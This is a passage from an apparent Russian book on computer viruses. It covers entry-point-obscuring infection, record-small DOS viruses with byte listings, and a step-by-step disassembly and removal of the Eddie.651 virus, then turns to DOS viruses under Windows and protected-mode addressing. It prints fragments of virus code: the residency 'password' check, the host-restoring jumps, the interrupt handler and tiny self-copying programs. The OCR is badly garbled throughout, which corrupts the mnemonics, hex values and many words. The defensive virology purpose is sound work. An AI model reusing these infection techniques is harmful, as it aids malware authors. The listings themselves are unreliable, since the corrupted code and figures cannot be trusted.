ние при помовди команд «|МР» или «САЬЬ», делают «врезку» этой 
командн в первьш байт программи-«жертвн». Соответственно, фор- 
мальная точка входа в вирус в этом случае совпадает с точкой входа 
в программу. Но некоторне вирусн умеют «врезаться» в середину 
файла «жертвн» таким образом, что сначала управление получает 
программа-«жертва», она начинает нормально вьшолняться, вьтчис- 
лительнмй процесс рано или поздно доходит до «заминированной» 
точки, и только тогда стартует вирус. Это -  попмтка реализации ста- 
ринной вирусописательской мечтм: создать необнаружимнй и неис- 
целимьга вирус, «вреднне» командш которого являются одновремен- 
но и «полезннми» командами зараженной программн.

Рассмотрим эту технологию (ее иногда назнвают ЕРО -  ЕпСгу 
Р0111Г ОЬзсигес! или ИЕР -  IIпкпо\Уп ЕпГгу Рот1) на примере вируса 
Урр.475. Вот как внглядела «дрозофила» до заражения, и вот как она 
стала внглядеть после:
; До заражения
0100 то у  ап, 9

0102 яоу йх, 108()
01С5 гпг 21П
0107 п!0V аЬ, 4СП

0 1 0 9  1П1 21(1

010В йР 'Не11о могЮ! $'

После зэражений 
0100 шоу ап, 9
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0102 иоу 0х, ЮВЬ
0105 са11 117 ; "Врезка" вируса
0108 о(з 4СИ
0109 1пт 21п
ОЮВ йЬ 'Не11о мог1й!$'
0117 . . .  ; Начало вирусного кода

В процессе исследования потенциальной «жертвн» вирус обнару- 
жил внутри нее несколько вмзовов прермвания 21Ь (двухбайтовне 
сочетания «СБЬ 21Ь<>), вьюрал из них случайньш образом какое-то 
одно и вставил в эту точку команду перехода на начало вирусного 
кода.

Но ведь байтм «СБЬ 21Ь» могли принадлежать не машинной ко- 
манде «ШТ 21Ь», а какому-нибудь полю данннх! В этом случае вирус 
так никогда и не получил бм управления, а программа оказалась бм 
испорченной. Поэтому лучшей стратегией, с точки зрения вируса, мог 
бн служить поиск подходяшей точки для «врезки» при помоши пред- 
варительной аппаратной трассировки тела потенциальной «жертвм». 
И такие вирусм действительно имеются, например представители се- 
мейства Етпие.

«Заразу» подобного рода проше всего обнаруживать, сканируя 
«хвост» файла. Ну а если тело вируса зашифровано, то антивирусу не 
остается ничего иного, кроме как трассировать программу (аппаратно 
или при помоши эмулятора), обрашая особое внимание на командн 
«далеких» переходов.

3.9.6. Самий маленький вирус
Вопрос о «самом маленьком вирусе» до сих пор охотно обсуждается 
в различннх конференциях и форумах. Умение написать крохотную 
самораз.множаюшуюся программу служит критерием программист- 
ской квалификации. С давних пор проводятся всемирнне конкурсн на 
самую «запутанную» программу на язьже Си (ЮССС -  1п1егпа{1опа1 
ОЬГихсаГ.ес) С Сос1е Соп1езС) и на самую красивую «демку» минималь- 
ного размера (4К 1п1го). Точно так же сушествует и неофициальнмй 
конкурс на самьш маленький вирус. Участвовать в нем не брезгуют и 
вирусологи. Вот один из ранних этапов (начало-середина 90-х годов 
XX века) проведения этого конкурса. отраженнмй в вирусном спра- 
вочнике Д. Н. Лозинского:

М1п1-145. Заражает только СОМ, резидентнмй. Сделан довольно 
изобретательно, норекорд длинь/, к которому явно стремится ав- 
тор, не побит.
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М/П1-150, -146, -145. Еше три вируса, по-видимому, тогожеавто- 
ра. Два вируса Мш/-145 являются совершенно различнь/ми, хотя 
в протоколе неразличимь/.
АТ-144. Заражает только СОМ, резидентньш. Содержит пару 
команд, которь/х нет в процессоре 8088, в связи с чем не дол- 
жен работать на РС-ХТ. Написан явно способнь/м программистом 
в расчете на побитие рекорда длинь/ вируса. Должен, однако, 
его разочаровать -  есть болгарский вирус, имеюший длину 133, 
причем без Р113НА. Причем его автор отличается и большей по- 
рядочностью -  этот вирус сушествует только в коллекциях виру- 
сологов.

М/П1- 143. Заражает только СОМ, в начале которь/х стоит команда 
имр.

М'ш '1- 140. Не работаетна 8088.

АТ-132. Просто великолепно!

М/л/-127. Заражает только СОМ, резидентнь/й. Безнадежно пор- 
тит все заражаемь/е программь/, если машина имеет память 
512 Кб или меньше.

М'ш'1-122, -128, -129, -130, -131, -132, -137... Заражают только 
СОМ, резидентнме.

Мюго-92. Заражает только СОМ, резидентнь/й. Написан удиви- 
тельно изяшно. Особенно приятно, что прислал мне его из Санкт- 
Петербурга сам автор -  Соловьев Михаил Анатольевич, причем 
гарантировал, что распространяться он не будет. В А1с1з1ез( он 
включен лишь в качестве украшения коллекции.

М'юго-66. Заражает только СОМ, резидентнь/й. Это, конечно, не- 
возможно, но Игорь Данилов сумел его сделать! Есть еше и 86, 
80, 76, но на свободе им не гулять, поэтому в АМз1ез1 вставлен 
только текуший рекорд. Мне кажется, что его побить невозможно, 
но...

Мюго-60. Заражает только СОМ, резидентнь/й. Автор Дмитрий 
Кубов.

М'юго-59. Заражает только СОМ, резидентнь/й. Рекорд, но я уже 
не решаюсь утверждать, что его не побьют...
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На самом деле, конечно же, следовало бн разделить этот «конкурс» 
на несколько независиммх и регистрировать рекордн в различннх 
«номинациях». Вот как (по моим сведениям) обстоит ситуация с ре- 
кордами на момент написания этих строк.

«Самьш-самьш-самьга» короткий <<вирус>> состоит всего из одной 
машинной командн «МОУ5В» длиной 1 (один) байт. Этот «вирус» 
создает свою копию в оперативной памяти, если перед вьшолнением 
на него указьгеала регистровая пара 03:51.

Вирус Тпуап.Ку}ак.4. Самая маленькая программа, способная 
«сбросить» свой код в случайньш сектор дискетм или винчестера. 
Состоит она всего из 4 (четмрех) байтов.

Вирус Тго)ап.5(;(10и1.5. Самая маленькая программа, способная 
создать свою копию в видеопамяти (и, соответственно, на экране). 
Она состоит всего из 5 (пяти) байтов и получила известность бла- 
годаря гипертекстовому вирусному каталогу АУРУЕ Е. Каспер- 
ского:
95 хсИд ах.Ьр
8ВЭ6 шоу йх,31
0021 Ш 1  21п

ТпУ1а1.13 Самая маленькая СОМ-программа, способная записать 
себя в дисковмй файл (с «неудобопроизносимьш» именем), состоит 
всего из 13 (тринадцати) байтов. Е. Касперский ни за что и никогда 
не сознается в ее авторстве, хотя все косвеннме улики и показания 
свидетелей этого «кошмарного преступления» недвусмнсленно ука- 
знвают на него.
35003С хог ах,3о00(1
41 т с  сх
87Ғ2 хсИд 51,йх
С021 ш т  21И
93 хс(1с ах, Ьх
В440 тоу а(1. 40п
С021 1ПТ 21П

Впрочем, сам Е. Касперский не скрьгвает, что по крайней мере один 
вирус ему написать пришлось... школьньш мелом на аудиторной до- 
ске. Не исключено, что это и бнл Тгта1.13. С-торонники теории «ви- 
русологов-вредителей», ау! Вотвам и еше один «аргумент»! Не менее 
идиотский, чем все остальнме.

Сошрашоп.36 -  саммй маленький вирус -  «спутник».
Тту.53 -  саммй маленький резидентньш вирус.
МшйбО -  саммй маленький нерезидентньш вирус.
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Все течет, все изменяется. Большинство таких «микровирусов» пи- 
сались с ориентацией на конкретнне процессорн и версии операци- 
онннх систем. Постепенно они теряют способность к размножению. 
Искренне надеюсь, что арестовнвать и «сажать» их авторов никто не 
собирается.

3.10. Подробнь1й пример обнаружения, 
анадиза и удадения

..Я  тебя, старикашечку моего, вшечу, на 
ноги поставлю, в люди вьюеду...

А. и Б. Стругацкие. «Мальгш»

В качестве конкретного примера рассмотрим процедуру обнаруже- 
ния, изучения и нейтрализации вируса Е(1(11е.651.а, упомянутого еше 
в «Компьютерной вирусологии» Н. Н. Безрукова под ласковьш про- 
звишем «Эдик». Этот старинньш (примерно конца 80-х годов XX ве- 
ка) вирус крайне прост, но в то же время содержит в себе большинство 
приемов, растиражированннх впоследствии в тнсячах гораздо более 
поздних разработок. На чем же еше оттачивать вирусологу мастер- 
ство, как не на классических образцах?

3.10.1. Способи обнаружения и вмделения вируса 
в чистом виде
В те времена, когда «Эдик» имел хождение, пользователи бнли еоде 
сравнительно мало осведомленн о «повадках» вирусов, не имели 
специальннх средств для обнаружения «заразн» и обнчно просто не 
замечали того, что их компьютер инфицирован. Только весьма вни- 
мательннй пользователь мог обратить внимание на следуюшие сим- 
птомн:

О некоторне программн (например, системная утилита 
«СНКЭЗК»), ранее работавшие нормально, теперь при запус- 
ке начинали «зависать»;

О в списке файлов, полученном при помоши командн «Б№», ни- 
каких подозрительннх прирашений их длин не наблюдалось, 
за исключением очень редких случаев, когда размерн отдель- 
ннх программннх файлов вдруг «внрастали» в десятки и сотни 
тнсяч раз:
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ҒОЯМАТ сом 50 071 05.05.99 22:22
МООЕ сом 29 911 05.05.99 22:22
МОЗЕ сом 10 503 05.05.99 22:22
ОЕВЦО ЕХЕ 20 874 05.05.99 22:22
АЗК сом 4294967218 30.10.89 22:41 «Гигантская» програина

К счастью, современнмй пользователь очень легко может обна- 
ружить программн, зараженнне активньш файловнм вирусом, вос- 
пользовавшись антивирусом-ревизором (например, программой 
Ас11п1). Такие антивирусн отслеживают все подозрительнне измене- 
ния, происходяшие на диске компьютера: увеличения и уменьшения 
длин програ.ммннх файлов, искажения их контрольннх сумм, из- 
менения времен и дат создания, модификацию содержимого загру- 
зочннх секторов и т. п. На машине, зараженной «Эдиком», Ас11п1 без 
проблем обнаружит:

О невидимое доселе «невооруженннм» глазом прирашение длин 
зараженннх программньтх файлов (как .СОМ, так и .ЕХЕ) на 
651 байт;

О довольно странную метку времени создания этих файлов -- 
«62 секундн».

Удобнее всего начинать анализ вируса, заразив им специально под- 
готовленную для этой цели программу. В отечественной вирусологии 
за такими программами закрепилось наименование «дрозофила», за 
рубежомже бнтуеттермин «§оа1 » (англ. -  «баран»). В обтем случае, 
в роли «дрозофилн» может внступать далеко не всякая программа:

О  она должна бнть сравнительно маленькой, но не слишком, ибо 
некоторне вирусн отказиваются заражать «мелочь»;

О желательно, чтобн длина ее внражалась «кругльш» числом, 
дабн легко бьшо обнаружить «на глаз» прирашение этой длинн;

О структура ее кода должна бнть однородной и регулярной, что- 
бн легко бнло обнаружить «на глаз» внедрения инородного 
кода вн\трь;

О тем не менее программа, сплошь состояшая из одинаковнх бай- 
тов (например, из байтов со значениями 90Ь -  кодами командн 
«МОР»), нежелательна, поскольку некоторне вирусн способ- 
нн обнаруживать излишнюю «регулярность» и не заражать 
такие программн.

3.10.2. Анализ вирусного кода
Дизассемблируем зараженную дрозофилу и твдательно изучим полу- 
ченннй листинг (см. приложение).
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Фрагмент 1. Начинается код вируса с классической комбинации 
команд:
0383 Е8 0000 с з П  $+3
038Е 58 рор Ьх
038Ғ 83 ЕВ 03 з у Ь Ь х ,3

Фрагмент 2. Далее вирус адресуется на таблицу векторов прернва- 
ний, извлекает оттуда оригинальньш обработчик прерьгвания 21Ь и 
сохраняет его внутри своего тела:
; Адресзция нз таблицу аектороа прериазний

0392 50 ризИ ах
0393 28 00 зуЬ а х . а х

0395 8Е 00 п о у  е з . а х

; О охрзнение знут&и ви русз  отармх знзмений ве ктора  2

03У7 26 
039В 2Е 
03А0 26 
03А.4 2Е

А1 0084 шоу а х .е в :[84П]
39 87 027С тоу с з :С аТ з_6 [Ь х ], ах
А1 0086 поу а х .е з :[8 6п ]
89 87 027Е я о у  мого рТг сз:оата_6+ 2[Ьх], зх

Фрагмент 3. Следуюхцее действие, вьшолняемое вирусом, -  про- 
верка наличия в памяти своей резидентной копии:
ОЗАй В8 А55А шоч а х , 0А55АН ; Пароль

ОЗАС С0 21 1пТ 21П
ОЗАЕ 30 5АА5 сшр ах, 5АА5И ; Отклик'

0381 74 43 ]е А1геасу

Запомним «пароль» (А55АК) и «отзнв» (5АА5Ь), они нам евде при- 
годятся.

Фрагмент 4. Пропустим подробное рассмотрение довольно длин- 
ного, но не особенно интересного фрагмента вирусного кода, посвя- 
шенного резидентной установке вируса в памяти. Просто отметим: из 
его анализа можно заключить, что резидентньш обработчик вирусно- 
го прерьшания 21Ь будет располагаться по смешению 0А7Ь от начала 
резидентной копии, размешенной в «откусанном» фрагменте в конце 
первого мегабайта памяти.

03Е9 ҒА

ОЗЕА 2 6 ' С7 06 0084 00А7 

03?~ 1 2Ь: АЗ 0066 

03Ғ5 ҒВ

СП
г яоу  «огс1 р т г  ез [34? '0,

шоу е ь : [8 б П ] ,а х

зИ

N9*21 ; Смешение = 0А/М
; Сегмент

Фрагмент 5. А вот эта часть вируса исключительно важна для нас. 
Из нее мн можем извлечь адреса тех участков вируса, в которнх
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хранятся фрагментн зараженной «жертвн>, -  стартовне байтн для 
.СОМ-программн и заголовочнне поля с истинной точкой входа для 
. ЕХ Е-программн.
03 Ғ6 1Е А1геаЯу: ризг 0 5

03Ғ7 07 рор ез
Проверка типа программу-носителя: ЕХЕ или С0Н

03 Ғ8 2Е: 88 87 0288 410 У ах,сз:0ата_ 12[Ьх]
озғо ЗС 5А4Э сшр 8Х,5А40п ; '2М'?
0400 74 14 1е 1ос„2
0402 30 4С-5А СИ зх,4П5АП ; ’ М2‘ ?
0405 74 0Ғ ]е 1ос_2

Пере&эчз упрэвления на СОК-прогрэкму
0407 ВҒ 0100 №0У 01, юоп ; Стартовнй адрес программи

040А 89 05 [0 1] , ах ; Босотановить пррвне 2 байта
040С 8А 87 028А ■то̂ а1 ,оуте ртг аата_14[рх]
0410 83 45 02 №'•/ [01+2],а1 ; еосотановить третий байт
0413 58 рор ах
0414 риЬ/1 , 1000 -  3 ствк
0416 сз П?-[П ; Переход на этот адрес

Передача управленив на ЕХЕ-программу
0416 1ос_2:
0416 58 РОР ах
0417 8С 0А ■ТОУ йх, йз
0419 83 С2 10 айс 0 Х ,  1011

041С 2Е: 01 97 0282 ЭОй «ого рТг сз:йаТэ_8+2[йх],Ох
0426 8Е 02 тоу 58, с!> ; Зосстэновить
0428 2Е: 88 А7 0284 ФОУ зр, сь. й а о _Ю[ох] ; лолокение стека
0420 2Е: ҒҒ АҒ 0280 ] П 0 Лчогс! рТ1' ;с1аТа_8Г&х] ; Переход

Итак, 3 стартовмх байта СОМ-программн хранятся по смевдениго 
28АЬ, а 4 байта старой точки входа в ЕХЕ-программу и 2 байта старо- 
го положения стека -  по смешениям 280Ь и 284Ь от начала вирусного 
кода.

Фрагмент 6 . Изучим заодно и обшую структуру резидентного об- 
работчика прернвания 21Ь. она нам тоже пригодится:
0432 №к21:
0432 ҒВ 5Т1
0433 30 4В00 стр ах, 480011 Это запуск программи7
0436 74 51 ]е 1ос_8
0438 80 ҒС 11 сшр эп ,1 1  п Это поиск первого файла0
043В 74 00 ]е 1ос_3
0430 8с> ҒС- 12 сгто ап ,12п . Зто поиск следуюшего Фэйла'
0440 74 08 )е 1ос_3
0442 30 А55А С!Пр ах,0А55АП Это эапрос 'пароля'"5
0445 74 ЗҒ ]е 1ос_7
0447 Е9 019А )П»Р 1ос_26
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Если разбираться в подробностях устройства этого обработчика, то 
можно обнаружить и процедуру заражения, и способ, которьш вирус 
отличает зараженньхе программьх от «здоровмх» (пресловутне «62 се- 
кундм>), и механизм обеспечения «невидимости», и многое другое. 
Но для обнаружения и удаления «Эдика» это уже не так важно.

3.10.3. Пишем антивирус
Сначала необходимо определиться; чего мьт ждем от этого антиви- 
руса?

Предположим, мьх хотим ограничить распространение «Эдика» по 
группе машин, между которьхми идет постояннмй обмен программ- 
ньши файлами (такая ситуация имеет место, например, в студен- 
ческом дисплейном классе накануне сессии). Для этой цели можно 
написать:

О «блокировхцик» -  резидентную программу, которая притво- 
ряется вирусом, «правильно» отвечает на запрос пароля и не 
дает, таким образом, настояшему вирусу «внрваться» из зара- 
женной программьх;

О «вакцинатор» -  программу, которая обходит все незараженнне 
еше программнне файлн и принудительно ставит им метку 
«62 секундн».

Но для очистки завирусованной машинн понадобится антивирус 
типа «сканер-фаг».

Сначала надо придумать способ обнаружения вируса. Конечно, 
признак «62 секундь!>> не годится. Это косвенннй признак наличия 
вируса, так назнваемая «х.чабтя сшнатура». Хотя лет 15 назад суше- 
ствовали «антивирусн», пнтавшиеся распознать «Эдика» исключи- 
тельно по столь ненадежному критерию. Представьте себе, как повел 
бн себя такой «антивирус» на машине с «вакцинированннми» про- 
граммами! Итак, надо использовать полноценнне байтовне сигнату- 
рн. Причем целесообразно это сделать так, чтобн одну и ту же сигна- 
туру можно бнло использовать для обнаружения и вируса в файле, 
и его резидентной копии -  в памяпх. Поэтому пусть сигнатурой по- 
служит цепочка из 10 байтов, начинаюшаяся со смехцения 0А7Ь от на- 
чала вирусного кода (см. внше, это главньтй фрагмент резидентного 
обработчика прернвания 21Ь); «Ғ"В 3 0  00 4В 74 51 80 ҒС 11 74».

Вирус легко найти в памяти сразу после последнего МСВ. Антиви- 
рус должен обезвредить его -  забить кодами командн «КОР» 16 бай- 
тов, начинаюшихся в резидентной копии со смехцения 0А7Ь. После 
этого вирус потеряет способность заражать запускаемьте программьх
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и скрнвать свое присутствие на компьютере (а способность отвечать 
на «пароль» пусть на всякий случай останется). Кроме того, антиви- 
рус перестанет обнаруживать его в памяти.

Обнаружив вирус в СОМ-программе, антивирус должен извлечь 
из его тела (по смешению 288Ь) 3 байта и вписать их в начало этой 
программн.

Обнаружив вирус в ЕХЕ-программе, антивирус должен извлечь из 
ее тела (по смевдениям 280Ь и 284Ь) даннне о точке входа в програм- 
му и о положении сгека и вернугь их на прежние места в заголовке 
ЕХЕ-файла.

После этого (и для С.ОМ-, и для ЕХЕ-программн) надо отсечь от 
конца файла 651 байт.

Исходнне текстн соответствуюших процедур приведеньт в прило- 
жении.

З.П. М5-005-вирусь1 в эпоху \Д/1ПЙо\л/5
...О)) растроганно похлопал меня по плечу и 
сказал: «Сгпарая гвардил!..*

А. и Б. Стругацкие.
«Второе нашествие марсиан»

Все сувдествуювдие версии операционной системн \ ¥ шс!о\у5 умели, 
умеют и, вероятно, будуг уметь в дальнейшем внполнять программн, 
созданньте для работм в М 8 -0 0 8 ’. Хотя, по мнению программистов 
из (|>ирмь! М1СГ050Й:, да и самого Билла Гейтса, необходимость под- 
держивать «устаревшие» форматм программ сильно сдерживает раз- 
витие современнмх операционньтх систем, делает их архитектурно 
неоднородннми и ненадежньши.

Но как бн то ни бмло, М 5-008  пока жив. \\7тс 1о\\ ’5 95/98/МЕ со- 
держат в своих «недрах» полноценнне версии (7.0 и 7.1) этой опе- 
рационной системн и, в принципе, даже поддерживают возможность 
«отстегивать» от них громоздкую 32-разрядную графическую обо- 
лочку2. \¥ 1П(1о\У5 НТ/2000/ХР почти в полном объеме моделируют 
работу М 5-005  5.0 и, соответственно, тоже позволяют внполнять 
под своим управлением «старме» программн. Если есть желание 
запустить М5-Г305-программу из-под 64-битовнх версий \¥тск>\\’8

1 Для 64-битовнх версий \ \ г1ш 1о \ \ 'з  эго уже не так.
2 Точнее, для ТОпйол’;? МЕ такая возможность хотя и имеетея, но не доку- 

ментирована и искусственно скрьгга от глаз пользователя.
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У151а/7, то к услугам пользователя виртуальнне машинм сторонних 
производителей, например ОозВох.

Компьютернмй вирус, формально являясь СОМ- или ЕХЕ-про- 
граммой, тоже способен жить и размножаться под управлением со- 
временннх операционннх систем.

Имеются ли на современньгх компьютерах цели для заражения МЗ- 
005-вирусами? Несомненно. Каталог <<(':\\¥ 1гк1()\\'8\СОМ МАМГ)» 
на машине с установленной \¥ни:1о\ \ ’5 9Х весь заполнен системннми 
утилитами, оформленньши в виде самнх обьжновенннх СОМ- и 
ЕХЕ-программ. Имеются такие программн и в каталоге «С:\\\гтМ Т \ 
5У5ТЕМ32» на машине с \Утс1о\Уз семейства N1', и доступ к ним всег- 
да открнт для пользователя, обладаюшего правами «Администрато- 
ра*. Не следует забнвать и о многочисленннх компьютерннх играх, 
обо всех этих старнх добрнх Тетрисах, О ^ е г а х  и СоЬНп5’ах, кото- 
рне подчас гораздо более искренни и увлекательин, чем современнне 
«Мурхухнн» и «Злне птички» .

Парадоксально, но в нннешних условиях шансн на размножение 
и распространение получают более примитивнне, не использую- 
шие недокументированннх «наворотов» вирусм. Современнне вер- 
сии \¥тс!о\\’5 относятся лояльно только к  «правильно» написанньш 
М5-005-программам. Например, любне манипуляции вируса с 5ҒТ 
«наткнутся» на несоответствие ожидаемого и действительного фор- 
матов этой таблицм; прямой доступ к секторам винчестера через пре- 
рнвание 13Ь будет заблокирован 32-разрядной операционной систе- 
мой; вирус, использукмций Для своей работн особенности строения 
файловой системм ҒАТ, неминуемо «заблудится» в «лабиринтах» 
незнакомой ему файловой системн КТҒ5 и т. д., и т. п. Зато вирус, 
используюший только документированнне возможности операцион- 
ной системн, не будет иметь серьезнмх препятствий. Таким образом, 
внсокосложнмй полиморфик типа 2 Ьеп§Ь1 почти наверняка вмзовет 
при запуске системную ошибку, а простенький У1еппа.648 бнстро и 
беспрепятственно перезаражает все доступнме ему файльг.

Поэтому М 5-005-вирусн по-прежнему работоспособнн, хотя 
вряд ли смог>т вмзвать более или менее ошутимую эпидемию. «Ста- 
рне» программм редко переносятся с одной машинм на другую. Рас- 
пространение М5-005-вируса, вмрвавшегося на свободу, неминуемо 
будет ограничено стенами студенческого компьютерного класса или 
заводской конторн. О таком вирусе почти никто не узнает. Его автор- 
ством не перед кем будет похвастаться.

Видимо, именно поэтому новне М 5-005-вирусн перестали созда- 
ваться. Они просто вншли из модьт.



ГЛАВА
Файловше вирусь! 

в \ЛЛпс1о\л/5
История операдионной системм М5 \¥пн!о\у5 намалась еше в середи- 
не 80-х годов XX века. но долгое время о компьютерннх вирусах, рас- 
пространяюшихся в этой среде, ничего не бнло слмшно. Более того, 
бнтовало мнение (активно поддерживавшееся самой фирмой-разра- 
ботчиком), что \¥ т ( 1о\У5 -  операционная система, в которой компью- 
терная «зараза» не может сушествовать в принципе. На самом деле 
практически до серединн 90-х годов XX века операционная система 
М5 \У1Пс1о\\'5 просто не являлась стандартной системной средой для 
ПЭВМ, соответственно, ее применяло в своей работе не такое уж 
большое количество пользователей и программистов, и вирусописа- 
тели уж точно не входили в их число.

Ситуация резко изменилась с вькодом первой обшедоступной 
32-разрядной версии этой операционной системн, а именно М5 
\\агк1о\У5 95. Вирусописатели занялись ее изучением, и очень скоро 
стало ясно: вирусм для \Утс1о\¥з возможнн!

Более того, они «возможнм» до снх пор.

4.1. Системная организаоия \ЛЛпс1о\л/5
Он немедленно и стпрастно заверил меня, что 
агрегат невообразимо сложньш, что иногда 
он, Эдельвейс, сам не понимает, что там и 
к чему.

А. и Б. Стругацкие. «Сказкао тройке»

Следует отметить, что, в отличие от М5 -0 0 5 , операционная систе- 
ма М5 \¥шс1о\\'5 представляет собой целое семейство ирограммнмх 
продуктов, членм которого подчас отличаются друг от друга до- 
вольно сильно, а очень многие (и очень важнне!) подробности их
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строения никогда не документировались фирмой-разработчиком. 
Но для изучения компьютерннх вирусов, специфических для М5 
\\'тс1о\\г5, все равно необходимо хотя бн поверхностное знание ос- 
новнмх принципов устройства и функционирования этой операци- 
онной системм.

Мн будем рассматривать все версии \У1пс1о\у5 таким образом, слов- 
но они разбитн на три большие группн.

Группа \¥шс1о\У5 ЗХ включает в себя младшие версии этой опера- 
ционной системм (точнее, в те времена она являлась еше «графиче- 
ской оболочкой»). Версии 1.0, 2.0, \У]пс1о\\'5/28б и \¥1пс1о\¥5/386 не 
будуг рассматриваться совсем, как безнадежно устаревшие и совер- 
шенно неактуальнне в контексте даиной книги. Зато определенное 
внимание будет уделено 16-разрядньш версиям 3.0, 3.1 и 3.11 1’ог 
\¥огк^гои[)5, которме являлись вполне «вирусоопасньши» во времена 
своего распространения (первая половина 90-х годов XX века).

Группа \АЛпс1ои'5 9Х включает в себя версии 95, 98 и МШепшт 
Ес!111оп (МЕ). Эти (преимушественно) 32-разряднне операционнме 
системьх рассчитанн на индивидуального «домапшего» пользователя 
и до сих пор кое-где используются.

Группа \У|'пс1ои'5 \ ТТ включает в себя версии \¥ 5пс1о\ \ ’5 4.0 (\¥огк- 
51аИоп и 8 ег\'ег), \ \  п1с1о\ \ :5 2000, \У:гк!о\\-5 ХР, \ \ 71 пс!с>\\-5 У15Га и \¥ т -  
(]о\\7з 7. Эти полностью 32-разряднне операционнме системн ориен- 
тированн в основном на «корпоративную» работу в сети, но активно 
использукггся как «наработе», таки «дома». Версии \Мт<1о\у$МТ 1 .0 , 
2.0 и З.Х не рассматриваются, как редко использовавшиеся во вре- 
мена своего распространения (середина 90-х годов XX века) и на на- 
стояший момент полностью внтесненние более старшими версиями. 
Версии \ \71Г1с1о\\'5 2003/2008 8 ег\гег также не рассматриваются в силу 
своей небольшой распространенности среди массового пользователя.

4.1.1. Особенности адресации
Современнне версии М5 \\'п 1с1о\У5 ориентированн на возможности 
процессоров 1З8 6+. Мн будем понимать под этим обозначением все 
модели процессоров 1 п(е1, начиная с 1З8 6 , через многочисленнне 
Реп11и т ъ 1 , вплоть до современнмх Соге 1Х и А1 от, а также совмести- 
мме с ними разработки фирм АМО, Суг1х и прочие. Эти процессорм 
могут работать в трех режимах [30]:

О в реальном режиме;
О в зашишенном режиме;
О в режиме виртуального 8086.
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Реалънъш режим 1З8 6 + практически полностью соответствует ре- 
жиму, в котором работают процессорм 18О8 6 , )8088 и 18 0 1 8 6 , за исклю- 
чением того, что с увеличением номера версии процессора всякий раз 
возрастает количество доступннх программе регистров и машинннх 
команд. Например, уже начиная с процессора 1З86  программа (даже 
запушенная в М5-Г)08) может вмполнять машиннне командн В5Ғ/ 
В5К. (поиск бита), обраадаться к 32-битовьш регистрам обвдего на- 
значения (типа ЕАХ или Е51), а также использовать в своих нуждах 
дополнительнне сегментние регистрн Ғ5 и С5.

Режим виртуалъного 8086 (иногда его назнвают УМ86), являясь 
разновидностью завдивденного режима, для прикладннх программ 
мало чем отличается от реального режима. Операционной же систе- 
ме УМ8 6  позволяет, например, иметь несколько независимнх вир- 
туальннх адресннх пространств, в каждом из которьтх вьгаолняется 
огдельная копия М 5-005.

Загцшценнъш режим -  это основной режим, в котором работают со- 
временнне версии М5 \\апс!о\\5. Если бнть более точннм, то некото- 
рие версии М5 \\'пк 1о\\'5 могут по мере необходимости переключаться 
в реальньш режим и в режим виртуального 8086, но потом все рав- 
но возвравдаются в завдивденннй режим. В этом режиме программе, 
в обвдем случае, доступнн вспомогательнне регистрн состояния про- 
цессора СКО-СКЗ, отладочнне регистрн ОКО-1Ж7, регистрн таблиц 
дескрипторов СО'П\, ЬОТК, ГОТК и ТК и масса «иовнх» команд.

Известнн две разновидности завдишенного режима [30]. Первая 
использует сегментную, а вторая -- страничную организацию опера- 
тивной памяти.

4.1.1.1. Сегментная организация адресного
пространства
Она предусматривает, что все физическое пространство ПЭВМ 

разбито на ряд сегментов. Адрес какой-либо ячейки памяти, к кото- 
рой предполагается доступ, задается в виде парн: {селектор, смевде- 
ние}. Селекгпор, подобно сегментной части адреса реального режима, 
загружается в 16-битовий сегментньш регистр. Аналогично 32-бито- 
вое смегцение располагается либо в индексном регистре, либо, в слу- 
чае прямой адресации, содержится непосредственно в коде машинной 
командн. Адресация базируется на понятии дескриптора сегмента — 
64-битовой записи, с.одержавдей «паспорт» того с.егмента, в котором 
располагается интересуювдая ячейка памяти. Полями дескриптора 
являются базовий адрес сегмента (или просто чбаза»), его размер
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(точнее, так назмваемнй предел или лимит) и уровень привилегий, 
котормй необходимо иметь селектору для доступа к этому сегменту 
(поле ВРГ. -  ЛеяспрГ.ог рпла1е§е 1еуе1). Дескрипторн по своему на- 
значению группируются в специальнме таблици дескрипторов, а се- 
лектор (точнее, его старшая 1 2 -битовая часть) играет роль индекса 
в этих таблицах.

Два младших бита селектора (поле КРЬ -  гецие .̂ес! рпЧ'е1('§е 1еуе1) 
характеризуют его уровень привилегий. Прикладная программа, 
пьттаюшаяся обратиться к ячейке памяти, сама располагается в не- 
котором сегменте, адресуется каким-то селектором и, следовательно, 
тоже обладает определеннмм уровнем привилегий (его назмвают 
СРЬ -  сиггеМ рп\ч1еёе 1е\7е1). Для того чтобм успешно обратиться 
к селектору. ее СР1. должен соответствовать его КРЬ. В свою оче- 
редь, КРЬ селектора участвует в определении возможности доступа 
к дескриптору Если он не соответствует уровню, зафиксированному 
в поле 13РЕ дескриптора. то попмтка доступа к сегменту (а значит, и 
к пнтересуклцей ячейке памяти) отвергается процессором. В против- 
ном случае 32-битовмй адрес интересуюшей ячейки вмчисляется как 
сумма базового адреса сегмента и смешения, и по нему осушествляет- 
ся нормальнмй доступ к ячейке (см. рис. 4.1).

Смеидение

Свлектор з - Д
Таблица дескрипторов

Дескриптор
32
/ -►  Адрес

Рис. 4.1 ❖ Сегментная адресация

Процессор «понимает» следуюшие типм сегментов:
О «несистемньш» сегмент исполняемого кода;
О «несистемньш» сегмент даннмх;
О «несистемньш» стековьш сегмент;
О «системньиЪ сегмент для локальнмх дескрипторнмх таблиц; 
О «системнмй» сегмент состояния задачи (Т35 -  1 азк 51а1е зе£- 

птепг).
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Формат селектора:
О битн 0-1 -  уровень привилегий (поле КРЬ);
О бит 2 -  признак локального (если 1) или глобального (если 0) 

дескриптора (поле Т1);
О битн 3—15 — индекс (номер строки) в таблице дескрипторов.
Дескрипторн хранятся в таблицах дескрипторов. Для всей систе- 

мн имеется одна таблица С ПТ глобальннх дескрипторов (на нее 
сснлается регистр С1УГК). одна таблица ШТ дескрипторов прерн- 
ваний (на нее сснлается решстр ШТК), и может прис\тствовать 
множество таблиц ГВ'Г локальннх дескрипторов (на них сснлается 
регистр 1.0'ГК). В этих 48-битовнх регистрах младшие 16 битов за- 
нимает длина той или иной дескрипторной таблицн, уменьшенная на 
1, а старшие 32 бита представляют собой адрес таблицн.

Нулевая «строка» в таблицах дескрипторов всегда «пуста». Обтий 
формат дескриптора для «несистемннх» сегментов:

О битн 0-15 и 48-51 -  предел сегмента;
О битн 16-39 и 56-63 -  базовьга адрес сегмента;
О бит 40 -  к сегменту уже бнло обрашение (если 1) или нет (ес- 

ли 0 );
О бит 41 -  для сегмента данннх определяет, разрешенн ли «чте- 

ние/запись» (если 1 ) или только «чтение» (если 0 ), для сегмен- 
та кода вариантн внглядят как «исполнение/чтение» (если 1 ) 
или только «исполнение» (если 0 );

О бит 42 -  для кодового сегмента это признак «согласованностн» 
